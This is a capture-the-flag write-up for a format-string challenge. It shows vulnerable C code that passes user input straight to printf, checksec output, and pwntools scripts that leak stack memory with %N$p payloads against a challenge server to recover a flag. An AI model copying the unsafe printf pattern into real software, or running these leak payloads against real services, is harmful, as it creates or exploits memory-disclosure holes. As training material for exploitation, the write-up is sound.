Neural Pattern Analysis

#format-string#with-explanation

Contents

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];
   readflag(flag, FLAGSIZE);
   printf("Enter neural pattern for analysis >> ");
   scanf("%127s", story);
   printf("Pattern decoded as - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

Exploitation Steps

Analysis

Another format string bug challenge. But this time the flag is already in the memory. Lets checksec it first:

$checksec
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Holy moly, the binary basically has ZERO meaningful protection. You could: - Simpily leak the flag directly from memory - Leak the libc address and call system(“/bin/sh”) - Write your own shellcode and return to it

This isn’t just a CTF challenge, this is literally a hacker’s wet dream.

Here I gonna show you the intended solution.

Leak Everything on the Stack

We use a script to brute-force print stack values using %p format specifiers

def print_stack(n):
    context.log_level = "ERROR"
    leak = ""
    for i in range(n//10):
        r = conn()
        payload = b''
        for j in range(i*10+1,i*10+11):
            payload += f"%{j}$p|".encode("ascii")
        payload += b'*'
        r.sendlineafter(b'>>', payload)
        r.recvuntil(b'Pattern decoded as - \n')
        leak += r.recvuntil(b'*', drop=True).decode("ascii")
        r.clean()
        r.close()
    context.log_level = "INFO"
    leak = leak.split("|")
    for i in range(len(leak)-1):
        print(f"{i+1:>3}: {leak[i]}")

The output of print_stack(50) is shown below.

  1: 0xff8de1d0
  2: 0xffffffff
  3: 0xf7ced8dc
  4: 0x70243125
  5: 0x2432257c
  6: 0x33257c70
  7: 0x257c7024
  8: 0x7c702434
  9: 0x70243525
 10: 0x2436257c
 11: 0x31257c70
 12: 0x7c702436
 13: 0x24373125
 14: 0x31257c70
 15: 0x7c702438
 16: 0x24393125
 17: 0x32257c70
 18: 0x7c702430
 19: 0xf7f6002a
 20: 0xff96dc90
 21: 0xf7f09c44
 22: 0xf7ec76b0
 23: 0x1
 24: 0x1
 25: (nil)
 26: 0xf7ec76b0
 27: 0x1
 28: 0xf7f08fec
 29: (nil)
 30: 0x8048300
 31: 0x804c028
 32: 0x50
 33: 0x8048488
 34: 0x8048300
 35: 0x804c00c
 36: 0x67616c66
 37: 0x6572547b
 38: 0x7d65
 39: 0xf7e07256
 40: 0xf7d0952c
 41: 0xf7e9ae0c
 42: (nil)
 43: 0x804bf04
 44: 0xffa4ac18
 45: 0xf7f02fb0
 46: (nil)
 47: 0xe2a11e00
 48: 0x3e8
 49: 0xf7e9ae0c
 50: (nil)
There are some funny looking numbers on 36, 37 and 38. These are pieces of the flag of this challenge.

Make some modification to the script

As a lazy person I prefer using script to convert the flag from ascii looking numbers to actual string. So I made some modification to the original code:

def find_flag(n):
    context.log_level = "ERROR"
    leak = ""
    for i in range(n//10):
        r = conn()
        payload = b''
        for j in range(i*10+1,i*10+11):
            payload += f"%{j}$p|".encode("ascii")
        payload += b'*'
        r.sendlineafter(b'>>', payload)
        r.recvuntil(b'Pattern decoded as - \n')
        leak += r.recvuntil(b'*', drop=True).decode("ascii")
        r.clean()
        r.close()
    context.log_level = "INFO"

    leak = leak.split("|")
    flag = ''
    for i in range(len(leak)-1):
        try:
            l = p32(int(leak[i],16)).decode("ascii")
        except:
            l = ''
        flag += l
    try:
        flag = flag[flag.index("flag") : flag.index("}")+1]
    except:
        log.failure("No Flag, n need to be larger, or change the flag header")
        return ""

    return flag

This function just simpily returns the flag.

Solution

#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./neural_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.130.180.230", 6833)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def find_flag(n):
    context.log_level = "ERROR"
    leak = ""
    for i in range(n//10):
        r = conn()
        payload = b''
        for j in range(i*10+1,i*10+11):
            payload += f"%{j}$p|".encode("ascii")
        payload += b'*'
        r.sendlineafter(b'>>', payload)
        r.recvuntil(b'Pattern decoded as - \n')
        leak += r.recvuntil(b'*', drop=True).decode("ascii")
        r.clean()
        r.close()
    context.log_level = "INFO"

    leak = leak.split("|")
    flag = ''
    for i in range(len(leak)-1):
        try:
            l = p32(int(leak[i],16)).decode("ascii")
        except:
            l = ''
        flag += l
    try:
        flag = flag[flag.index("flag") : flag.index("}")+1]
    except:
        log.failure("No Flag, n need to be larger, or change the flag header")
        return ""


    return flag


def main():
    print_stack(50)
    flag = find_flag(50)

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()